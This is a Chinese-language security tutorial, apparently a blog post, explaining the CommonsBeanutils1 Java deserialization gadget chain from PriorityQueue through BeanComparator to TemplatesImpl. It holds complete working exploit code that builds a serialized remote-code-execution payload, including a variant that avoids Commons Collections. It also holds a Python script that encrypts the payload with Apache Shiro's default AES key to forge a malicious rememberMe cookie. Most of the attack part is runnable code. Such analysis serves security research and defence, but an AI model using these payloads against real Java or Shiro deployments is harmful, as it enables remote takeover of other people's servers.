前言 在上一篇文章《Java 中动态加载字节码的几种方法 》中,已对 CommonsBeanutils1 做了一点点铺垫。一言以蔽之,上文中所提到的 TemplatesImpl#getOutputProperties 即为 CommonsBeanutils1 中的 Sink,此部分内容即为前置知识,若有疑惑请回顾上文,在本文中将不再赘述。
Commons BeanUtils 简介 Commons BeanUtils 是 Apache 软件基金会提供的一个开源 Java 库,用于简化 JavaBean 的操作,适用于需要频繁操作 JavaBean 的场景。它提供了一组工具类和方法,对 JavaBean 进行常见操作,如属性的复制、属性的获取和设置、属性的类型转换等。通过使用 Commons BeanUtils,开发人员可以减少重复代码的编写,提高开发效率,同时提升代码的可维护性和可扩展性。
受影响版本范围 Commons BeanUtils 最低影响 1.7.0,最高影响至 1.9.4;对于 Java 版本,若为 8 则通杀。
PropertyUtils#getProperty org.apache.commons.beanutils.PropertyUtils#getProperty 是 Commons BeanUtils 中的一个用于获取 JavaBean 对象属性值的方法。
JavaBean 关于 JavaBean 是什么,其所具有的特征就是它必须具有一个公共无参构造方法;且通常包含一系列私有字段(即成员变量),每个字段都有对应的公共访问器(getter 方法)和修改器(setter 方法),用于访问和修改字段的值,这些方法需遵循命名规范,如getXxx()
和setXxx()
驼峰式命名。如下的 Person 就是一个简单的 JavaBean。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.javasec.cb;public class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public int getAge () { return age; } }
当我们创建完一个 Person 对象,并需要获取它的 name、age 时,通常会调用该对象的 getName、getAge,这两个方法也是其 getter 方法。
getProperty 现在,我们可以使用 PropertyUtils#getProperty 达到相同的效果,见如下示例代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.javasec.cb;import org.apache.commons.beanutils.PropertyUtils;public class PropertyUtilsTest { public static void main (String[] args) throws Exception { Person person = new Person ("John" , 30 ); System.out.println(person.getName() + ": " + person.getAge()); System.out.println("=======================" ); String name = (String) PropertyUtils.getProperty(person, "name" ); int age = (int ) PropertyUtils.getProperty(person, "age" ); System.out.println(name + ": " + age); } }
getProperty 方法接受两个参数,第一个是获取属性值的 JavaBean 对象,第二个则是属性名。
1 2 3 4 5 6 public static Object getProperty (Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { return (PropertyUtilsBean.getInstance().getProperty(bean, name)); }
需要着重注意地是,getProperty 方法会根据传入的属性名自动找到其 getter 方法,并进行调用。
BeanComparator org.apache.commons.beanutils.BeanComparator 是 Commons BeanUtils 库提供的一个比较器类,用于对 JavaBean 对象进行比较和排序。
compare 方法 在 BeanComparator#compare 方法中存在对 PropertyUtils.getProperty 方法的调用,前提是 this.property 不为 null。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public int compare ( T o1, T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } }
在本文的开头,提到了关于 CommonsBeanutils1 的 Sink,即 TemplatesImpl#getOutputProperties 方法,这个方法名称是以”get”开头,符合 getter 方法的定义。
那么,结合上一部分中所提到的,getProperty 自动调用传入属性名的 setter 方法的特性,我们便可以构造如下代码,运行便会弹出计算器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.javasec.cb;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.lang.reflect.Field;public class BeanComparatorTest { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator ("outputProperties" ); comparator.compare(obj, obj); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
脱离 Commons Collections 在初始化 BeanComparator 时可传入 property 和 comparator,在只传入 property 时,默认 comparator 会是 ComparableComparator.getInstance(),而 ComparableComparator 这个类又属于 Commons Collections。
1 2 3 4 5 6 7 8 9 10 11 12 public BeanComparator ( String property ) { this ( property, ComparableComparator.getInstance() ); } public BeanComparator (String property, Comparator<?> comparator) { this .setProperty(property); if (comparator != null ) { this .comparator = comparator; } else { this .comparator = ComparableComparator.getInstance(); } }
1 2 3 package org.apache.commons.collections.comparators;public class ComparableComparator implements Comparator , Serializable
这就导致必须要有 Commons Collections 的存在,CommonsBeanutils1 才可正常地利用。幸运地是在 1.9.0 至 1.9.4 版本的 Commons BeanUtils,自带了 Commons Collections 的,在这个范围内是可正常利用的。
但在 1.9.0 以下的版本,却是不包含 Commons Collections 的,所以需要找到一个替代的类,这个类需要跟 ComparableComparator 一样,同时实现了 java.util.Comparator 接口和 java.io.Serializable 接口,且该类最好是原生 JDK 自带,或者存在于 Commons BeanUtils 中,这样也能够更好地满足兼容性。
最终找到两个符合条件的类,如下图,java.lang.String.CaseInsensitiveComparator 与 java.util.Collections.ReverseComparator。
注意它们的 private 访问修饰符,可通过同类下其他 public 访问修饰符的方法进行调用。
1 2 BeanComparator comparator = new BeanComparator ("outputProperties" , String.CASE_INSENSITIVE_ORDER);
如此,便能在无 Commons Collections 的情况下,从 Commons BeanUtils 1.7.0 至 1.9.4 版本均能够顺利地利用。
以上,已对 Sink 与中间链进行了结合,现在只剩一个 Kick off 类便可拼凑成一条完整的利用链。
PriorityQueue java.util.PriorityQueue
是 Java 中的一个优先队列实现类,优先队列是一种特殊的队列,其中的元素按照一定的优先级顺序排列,而不是按照它们被插入的顺序排列。
在对PriorityQueue
进行反序列化时,如果PriorityQueue
是使用比较器进行排序的,则会重新设置比较器,并根据比较器对元素进行排序。
在如下 readObject 方法中调用了 heapify 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
继续跟进 heapify,发现其中存在 siftDown 的调用。
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
而 siftDown 中又有 siftDownUsingComparator 方法。
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
siftDownUsingComparator 则对 compare 进行了调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
根据如上所有进行总结,当对 PriorityQueue 对象进行反序列化时,会通过 PriorityQueue#readObject 中的 heapify 方法调用到 siftDownUsingComparator,并在其中触发 BeanComparator#compare 的调用;当设置 property 为 outputProperties 时,在 BeanComparator#compare 中会通过 PropertyUtils#getProperty 触发 BeanComparator 的 getter 方法即 TemplatesImpl#getOutputProperties 的执行,最终便能够达到加载任意恶意字节码,实施攻击。
CommonsBeanutils1 利用代码 根据如上所有,构造最终的 CommonsBeanutils1 利用代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package com.javasec.cb;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.util.Collections;public class CBRCEWithoutCC { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CBRCEWithoutCC.ser" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CBRCEWithoutCC.ser" )); inputStream.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
如下是部分关键调用栈。
1 2 3 4 5 6 7 8 9 getOutputProperties:507 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax), TemplatesImpl.java getProperty:290 , PropertyUtils (org.apache.commons.beanutils), PropertyUtils.java compare:150 , BeanComparator (org.apache.commons.beanutils), BeanComparator.java siftDownUsingComparator:722 , PriorityQueue (java.util), PriorityQueue.java siftDown:688 , PriorityQueue (java.util), PriorityQueue.java heapify:737 , PriorityQueue (java.util), PriorityQueue.java readObject:797 , PriorityQueue (java.util), PriorityQueue.java readObject:422 , ObjectInputStream (java.io), ObjectInputStream.java main:50 , CBRCEWithoutCC (com.javasec.cb), CBRCEWithoutCC.java
CB1 在 Shiro 中的利用 在 Shiro 中是存在 Commons BeanUtils 组件的,但未必会有 Commons Collections,所以恰巧可利用 CommonsBeanutils1 来攻击 Shiro。
编写如下简易 Python 脚本,用于生成 Payload,./CBRCEWithoutCC.ser 文件是通过如上利用代码生成的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64import uuidfrom Crypto.Cipher import AESwith open ('./CBRCEWithoutCC.ser' , 'rb' ) as f: data = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), AES.MODE_CBC, iv) print ("Cookie: rememberMe={}" .format (base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
运行脚本,打印恶意的 rememberMe Payload,并在 BurpSuite 中构造恶意请求,最终成功实现 RCE。
0x08 参考 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java
https://commons.apache.org/proper/commons-beanutils/
https://github.com/phith0n/JavaThings